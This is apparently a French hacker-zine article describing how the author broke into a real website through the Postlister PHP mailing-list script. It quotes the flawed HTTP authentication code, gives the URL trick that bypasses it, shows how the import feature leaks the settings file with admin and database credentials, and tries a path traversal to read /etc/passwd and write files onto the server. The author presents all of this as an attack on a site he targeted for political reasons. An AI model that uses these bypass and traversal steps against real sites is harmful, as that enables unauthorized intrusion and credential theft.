+-----+---------+----------+-------------------------------+
| 002 | hacking | An-Mojeg | an-mojeg@mail-developpeur.com |
+-----+---------+----------+-------------------------------+

Hack expliqu + Faille Script PHP Postlister Indite !!!
########################################################

Introduction :
--------------
	Bon bon bon encore reparti a l'attaque d'un site facho, lors de l'analyse du site 
une personne dont je ne me rappelle plus le nom (on va l'appeler Henri) m'a inform d'un 
script non rfrenc sur le site situ dans /mailing/subscribe.php en s'interrogeant
sur le fait que la protection du dossier ressemble a une protection par .htaccess mais
retient certains caractristiques trange (il s'agissait donc d'une protection par 
Authentification http formule en php), l'identification du script fut simple : postlister
un script de gestion de mailing liste ... let's go ! Analysons le script !

Analyse de postlister:
----------------------
	Tout d'abord reperons la fonction qui nous demande de nous authentifier :
//-------------------------- functions.php
...

require("settings.php");

...

if (basename($PHP_SELF) != "subscribe.php" && basename($PHP_SELF) != "confirm.php") {
    if (!$PHP_AUTH_USER) {
        header("WWW-Authenticate: Basic realm=\"Postlister\"");
        header("HTTP/1.0 401 Unauthorized");
        echo $s62;
        exit;
    }
    else {
        if ($PHP_AUTH_USER != $username || $PHP_AUTH_PW != $password) {
            echo $s62;
            exit;
        }
    }
}

...
//-------------------------- functions.php
	h b, j'ai rarement vu une authentification aussi facile a djouer. Si la base de l'url
est subscribe.php ou confirm.php ya pas de problmes ? Ben ok a marche demandons la page index
de cette manire :

/mailing/index.php/subscribe.php

	Bingo ! a marche on a la page index maintenant un autre aspect du script m'interresse ...
La possibilit d'importer et d'exporter des fichiers contenant les adresse des newslists ... tout 
a se passe en remote !!! ben l encore a va pas tre trs compliqu on va aller sur cette page :

/mailing/import.php/subscribe.php
(h oui toujours en contournant la protection)
	
	Et on va demander a importer le fichier settings.php ... a marche !!!
	On a plus qu'a regarder la liste des adresse mails apartenant a notre liste et l
hooooo quelle est bizare la liste :
//##################################################################
<?php

# PLEASE EDIT THE FOLLOWING VARIABLES:
#

# Choose a language file:
$languageFile = "language files/french.php";

# Choose a username for the Postlister administrat
$username = "admin";

# Choose a password for the Postlister administrat
$password = "passwd";

# The host on which your database runs. Usually
# If you don't know what to write here, write
$databaseHost = "localhost"

# The name of your database:
$databaseName = "[BLABLABLA]";

# The username for your database:
$databaseUsername = "[BLABLABLA]";

# The password for your database:
$databasePassword = "[BLABLABLA]";

# Choose a name for the Postlister main database t
# The table will be created by Postlister.
# The name cannot include other characters than a-
# and 0-9. If you don't know what to write here,
# just write "postlistermain".
$mainTable = "postlistermain";

#
# THAT'S IT!
#
?>
//##################################################################
	Ben on a les pass maintenant on peut jouer a l'admin en se faisant notre propre newslist haha ! (hum ... ouai)
	
	On va maintenant tester l'importation de ../../../../../etc/passwd
	
	Je rappelle qu'il faut d'abord crer : la table, si c pas dj fait et une liste (quand mme!)
La table se cre automatiquement grace au script "table.php" et pour la liste c'est indiqu. Meuh !

	Vous pouvez aussi laisser vos messages sur le serveur en remplissant manuellement la liste
et en l'exportant vers un fichier txt directement sur le serveur.

Conclusion
----------
	!!! w00w00 !!!

An-Mojeg		[ an-mojeg@mail-developpeur.com ]

PS : thank you Henri ;-)